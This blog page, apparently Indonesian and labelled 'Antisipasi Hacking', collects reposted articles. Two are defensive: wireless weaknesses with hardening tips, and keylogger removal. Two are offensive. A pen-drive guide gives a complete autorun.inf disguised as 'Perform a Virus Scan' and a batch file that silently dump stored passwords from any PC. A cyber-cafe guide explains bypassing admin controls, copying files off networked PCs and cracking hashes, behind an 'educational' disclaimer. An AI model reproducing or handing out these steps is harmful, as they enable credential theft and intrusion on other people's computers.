Tampilkan postingan dengan label Antisipasi Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Antisipasi Hacking. Tampilkan semua postingan

2
Kelemahan Wireless

Jaringan Wifi memiliki banyak kelemahan bila dibanding dengan jaringan kabel. Perkembangan teknologi wifi saat ini sangat signifikan sejalan dengan kebutuhan sistem informasi yang mobile. Banyak penyedia jasa wireless seperti hotspot komersil, ISP, Warnet, kampus-kampus maupun perkantoran sudah mulai memanfaatkan wifi pada jaringan masing masing, tetapi sangat sedikit yang memperhatikan keamanan komunikasi data pada jaringan wireless tersebut. Hal ini membuat para hacker menjadi tertarik untuk mengexplore keamampuannya untuk melakukan berbagai aktifitas yang biasanya ilegal menggunakan wifi.

Ada beberapa jenis aktivitas dan metode yang dilakukan para hacker wireless ataupun para pemula dalam melakukan wardriving. Wardriving adalah kegiatan atau aktifitas untuk mendapatkan informasi tentang suatu jaringan wifi dan mendapatkan akses terhadap jaringan wireless tersebut. Umumnya bertujuan untuk mendapatkan koneksi internet, tetapi banyak juga yang melakukan untuk maksud-maksud tertentu mulai dari rasa keingintahuan, coba coba, research, tugas praktikum, kejahatan dan lain lain.


Kelemahan jaringan wireless secara umum dapat dibagi menjadi 2 jenis, yakni kelemahan pada konfigurasi dan kelemahan pada jenis enkripsi yang digunakan. Salah satu contoh penyebab kelemahan pada konfigurasi karena saat ini untuk membangun sebuah jaringan wireless cukup mudah. Banyak vendor yang menyediakan fasilitas yang memudahkan pengguna atau admin jaringan sehingga sering ditemukan wireless yang masih menggunakan konfigurasi wireless default bawaan vendor. Penulis sering menemukan wireless yang dipasang pada jaringan masih menggunakan setting default bawaan vendor seperti SSID, IP Address , remote manajemen, DHCP enable, kanal frekuensi, tanpa enkripsi bahkan user/password untuk administrasi wireless tersebut.

WEP (Wired Equivalent Privacy) yang menjadi standart keamanan wireless sebelumnya, saat ini dapat dengan mudah dipecahkan dengan berbagai tools yang tersedia gratis di internet. WPA-PSK dan LEAP yang dianggap menjadi solusi menggantikan WEP, saat ini juga sudah dapat dipecahkan dengan metode dictionary attack secara offline.


Serangan-serangan pada kelemahan WEP antara lain :
- Serangan terhadap kelemahan inisialisasi vektor (IV), sering disebut FMS attack. FMS singkatan dari nama ketiga penemu kelemahan IV yakni Fluhrer, Mantin, dan Shamir.
Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya.
Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan.

- Mendapatkan IV yang unik melalui packet data yang diperoleh untuk diolah untuk proses cracking kunci WEP dengan lebih cepat. Cara ini disebut chopping attack, pertama kali ditemukan oleh h1kari. Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi kebutuhan IV yang lemah dalam melakukan cracking WEP.

- Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat
waktu, para hacker biasanya melakukan traffic injection. Traffic Injection yang sering dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat. Berbeda dengan serangan pertama dan kedua, untuk serangan traffic injection,diperlukan spesifikasi alat dan aplikasi tertentu yang mulai jarang ditemui di toko-toko, mulai dari chipset, versi firmware, dan versi driver serta tidak jarang harus melakukan patching terhadap driver dan aplikasinya.

NB: Ini saya dapatkan dari situs ugm.ac.id

3
Menjaga Keamanan Wireless Networking

Wireless merupakan jaringan nirkabel/tanpa kabel mulai banyak kita temukan saat ini terutama di kafe, mall, restoran, sekolah, kampus dan tempat umum lainnya. Hal ini dikarenakan untuk mempermudah pengaksesan tanpa menggunakan kabel dan untuk pemasangannyapun sangat mudah. Wireless ini menggunakan gelombang radio jadi sangat mudah untuk dihack (retas) Nah berikut ada beberapa cara untuk mengamankan wireless yang saya temukan dari sahabat blogger bernama Maya Ihara, Langsung aja baca ya:


1. Menggunakan Enkripsi.
Enkripsi yaitu security yang pertama, namun masih banyak wireless access points (AP) tidak menggunakan enkripsi sebagai default-nya. Meskipun banyak AP telah memiliki Wired Equivalent Privacy (WEP) protocol, tetapi secara default tidak diaktifkan. WEP memang mempunyai beberapa lubang di security-nya, dan seorang peretas yang berpengalaman pasti dapat membukanya, tetapi itu masih tetap lebih baik dari pada tidak ada enkripsi sama sekali. Pastikan untuk mengaktifkan metode WEP authentication dengan “shared key” daripada “open system”. Untuk “open system”, AP tidak melakukan enkripsi data, tetapi hanya melakukan otentifikasi client. Ubah WEP key sesering mungkin, dan pakai 128-bit WEP hindari menggunakan 40-bit.

2. Gunakan Enkripsi Kuat.
Karena kelemahan-kelemahan yang ada di WEP, maka dianjurkan untuk menggunakan Wi-Fi Protected Access (WPA) juga. Untuk memakai WPA, AP harus men-support-nya. Sisi client juga harus dapat support WPA tersebut. Namun, saat ini hampir semua Access Point maupun user/client sudah mendukung WPA.

3. Ganti Password Administrator standar.
Kebanyakan pabrik menggunakan password administrasi yang sama untuk semua AP produk mereka. Default password tersebut umumnya sudah diketahui oleh peretas, yang nantinya dapat digunakan untuk merubah setting di AP Anda. Hal pertama yang harus dilakukan dalam konfigurasi AP adalah mengganti password default. Gunakan minimal 8 karakter, kombinasi antara huruf, function dan angka, dan tidak menggunakan kata-kata yang ada dalam kamus.

4. Matikan SSID Broadcasting.
Service Set Identifier (SSID) adalah nama dari wireless network kita. Secara default, SSID dari AP akan di-broadcast atau disiarkan. Hal ini akan membuat user mudah untuk menemukan network Anda, karena SSID akan muncul dalam daftar available networks yang ada pada wireless client. Jika SSID dimatikan, user harus mengetahui lebih dahulu SSID-nya agar dapat terkoneksi dengan network.

5. Matikan AP Saat Tidak Dipakai.
Cara yang satu ini kelihatannya sangat mudah dan remeh, tetapi beberapa perusahaan atau individual tidak melakukannya. Jika kita mempunyai user yang hanya terkoneksi pada saat saat tertentu saja, tidak ada alasan untuk menjalankan wireless network setiap saat dan menyediakan kesempatan bagi penyusup untuk melaksanakan niat jahatnya. Kita dapat mematikan access point pada saat tidak digunakan.

6. Ubah default SSID.
Pabrik menyediakan default SSID. Kegunaan dari mematikan broadcast SSID adalah untuk mencegah orang lain tahu nama dari network kita, tetapi jika masih memakai default SSID, tidak akan sulit untuk menerka SSID dari network kita.

7. Memakai MAC Filtering.
Kebanyakan AP akan memperbolehkan kita memakai filter Media Access Control (MAC). Ini artinya kita dapat membuat “white list” dari komputer-komputer yang boleh mengakses wireless network kita, berdasarkan dari MAC atau alamat fisik yang ada di network card masing-masing PC atau laptop. Koneksi dari MAC yang tidak ada dalam list akan ditolak. Metode ini tidak selamanya aman, karena masih mungkin bagi seorang hacker melakukan sniffing paket yang kita transmit via wireless network dan mendapatkan MAC address yang valid dari salah satu user, dan kemudian menggunakannya untuk melakukan spoof. Tetapi MAC filtering akan membuat kesulitan yang lumayan bagi seorang penyusup yang masih belum jago banget.

8. Mengisolasi Wireless Network dari LAN.
Untuk memproteksi internal network kabel dari ancaman yang datang dari wireless network, perlu kiranya dibuat wireless DMZ (Demiliterize Zone) atau perimeter network yang mengisolasi dari LAN. Artinya, memasang firewall antara wireless network dan LAN. Dan untuk wireless client yang membutuhkan akses ke internal network, dia haruslah melakukan otentifikasi dahulu dengan RAS server atau menggunakan VPN. Hal ini menyediakan extra layer untuk proteksi.

9. Mengontrol Signal Wireless.
02.11b WAP memancarkan gelombang sampai dengan kira kira 300 feet. Tetapi jarak ini dapat ditambahkan dengan cara mengganti antenna dengan yang lebih bagus. Dengan memakai high gain antena, kita bisa mendapatkan jarak yang lebih jauh. Directional antenna akan memancarkan sinyal ke arah tertentu, dan pancarannya tidak melingkar seperti yang terjadi di antena omnidirectional yang biasanya terdapat pada paket AP standard. Selain itu, dengan memilih antena yang sesuai, kita dapat mengontrol jarak sinyal dan arahnya untuk melindungi diri dari penyusup. Sebagai tambahan, ada beberapa AP yang bisa di setting kekuatan sinyal dan arahnya melalui config WAP tersebut.

10. Memancarkan Gelombang pada Frekuensi yang Berbeda.
Salah satu cara untuk bersembunyi dari peretas yang biasanya memakai teknologi 802.11b/g yang lebih populer adalah dengan memakai 802.11a. Karena 802.11a bekerja pada frekuensi yang berbeda (yaitu di frekuensi 5 GHz), NIC yang didesain untuk bekerja pada teknologi yang populer tidak akan dapat menangkap sinyal tersebut. Namun, tentu saja Anda akan mengalami penurunan kualitas kecepatan transmisi data pada jaringan wireless Anda

0
Mencegah Serangan Keylogger

.
Jika komputer anda terinfeksi keylogger, menghapusnya dengan program seperti Microsoft AntiSpyware hanya langkah pertama pembersihan. Jika keylogger sudah lama berada pada PC anda, maka kemungkinan besar satu atau beberapa orang sekarang mempunyai akses ke sebagian informasi pribadi anda, termasuk username dan password.

Seteleh menghapus keylogger, reboot dan lakukan pemeriksaan lagi untuk memastikan keylogger telah hilang selamanya. Setelah itu ganti semua password anda yang berhubungan dengan e-mail account, online banking, prgram instant messaging, situs lelang online, dan seterusnya. Meskipun orang yang menginstalasi keylogger hanya ingin memata-matai aktivitas berkomputer anda, bisa saja mereka juga mengejar detail user account. Dengan mempunyai informasi yang cukup, mencuri identitas (belum lagi uang anda) adalah pekerjaan mudah.

Anda harus memikirkan bagaimana program tersebut awalnya bisa masuk. Apakah user lain menginstalasinya? apakah di-download dari internet? apakah anda mempunyai firewall, antivirus, dan anti-spyware telah di update dan melindungi anda sepanjang waktu? Hal positif dari keylogger adalah peningkatan kewaspadaan keamanan yang disebabkannya. Tidak seorangpun suka dimata-matai. jadi lakukan tindakan yang diperlukan untuk memastikan keylogger tidak lagi masuk ke komputer anda.

Berikut adalah lima cara yang dapat anda lakukan untuk mendeteksi spyware dan pencegahannya :

1. Instalasi filter spyware pada host. Banyak scanner spyware yang tersedia di pasaran. Jika anda mencari solusi yang tidak terlalu mahal, coba gunakan tool beta Microsoft, Windows Spywares, Spybot, dan AdAware. Banyak vendor antivirus komersial, seperti McAfee, juga mempunyai filter spyware digabungkan ke dalam solusi antivirus korporat.
2. Instalasi suatu aplikasi gateware dengan filtering content spyware. Jika tadi pada tingkat host, maka sekarang kita lihat solusi spyware yang beroperasi pada tingkat jaringan. Salah satunya adalah Blue Coat Spyware Interceptero. Jika anggaran anda mencukupi, pertimbangkan untuk menggunakan solusi ini.
3. Buat egress filter pada jaringan anda. Tidak ada salahnya untuk membuat filter egress pada jaringan. Mereka bisa membantu dalam memblokir spyware yang mencoba “menelpon rumah”.
4. Monitor intrusion-detection system (IDS) anda dan jaga signature tetap terbaru. jika anda tidak bisa memblokir spyware dari menelpon rumah, paling tidak anda bisa mendeteksinya dengan IDS dan menggunakan laporannya untuk mengidentifikasi sistem yang terinfeksi.
5. Cegah user mengistalasi software download. Kebanyakan instalasi spyware disebabkan oleh user yang menginstalasi software yang di-download dari internet. Jika memungkinkan awasi aktivitas tersebut.

Spyware dan pengambil data yang sejenis merupakan salah satu tantangan paling penting yand dihadapi oleh profesional security informasi. Sudah saatnya memastikan organisasi anda dalam keadaan aman. Dengan mengikuti langkah di atas akan membantu anda dalam mencapai tujuan tersebut.

Source: Fakhrul


Bookmark and Share


4
Hack Password with ur Pen Drive

.
USB TRICKS:

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Source: Go-Hacking


Bookmark and Share


1
Hack Closed PC on Cyber cafe

.
Hack Closed PC on Cyber Cafe:

So here is a quick new hack on how to intrude in the PC which is shut downed at Cyber cafe. (Don’t Forget to read our disclaimer at the bottom of the post.)

1. As you all must have know these days all Cyber cafe owners have a program for administration to control all PC’s in local area network. So all files can be inter transmitted.

2. First of all press Ctrl+Alt+Del the task manager or any controlling application, will open. Then from APPLICATIONS select the program that is controlling all PC’s & terminate it, This is for security reason. Now log of PC, & you ll get user names of the PC.

3. But some times, cyber cafes have security clients installed that have restricted access to Task Manager, restart the computer & press F8 continuously before windows boots.

The Menu will open, select Safe Mode from it. And now you can copy files from networked PC’s without any security layer.

Next step is where you’ll need to crack the hashes. SO go to your home PC , Download & install Saminside cracking tool. And from some another Cyber cafe try to crack the hashes of that PC. By same log off method explained below.

This where you actually perform hacking. Have a gret time & tell us weather it worked for you.

Meanwhile if you can get IP address, of the PC you wish to hack try to get it from ip-explorer.com, but this is not the part of this hack its sort of next step of hacking from outside the network.

Disclaimer : The trick here explained it for educational purpose only & not to perform illegal or criminal activities. Don’t forget hacking into some one’s privacy is considered as crime. SO do it on your home network that you own or something. We are not responsible for anything you do & consequences of it by using our articles.

Source: Go-Hacking


Bookmark and Share


 
Ujie Caprone | © 2011 Blogger Template by Ujiecaprone.com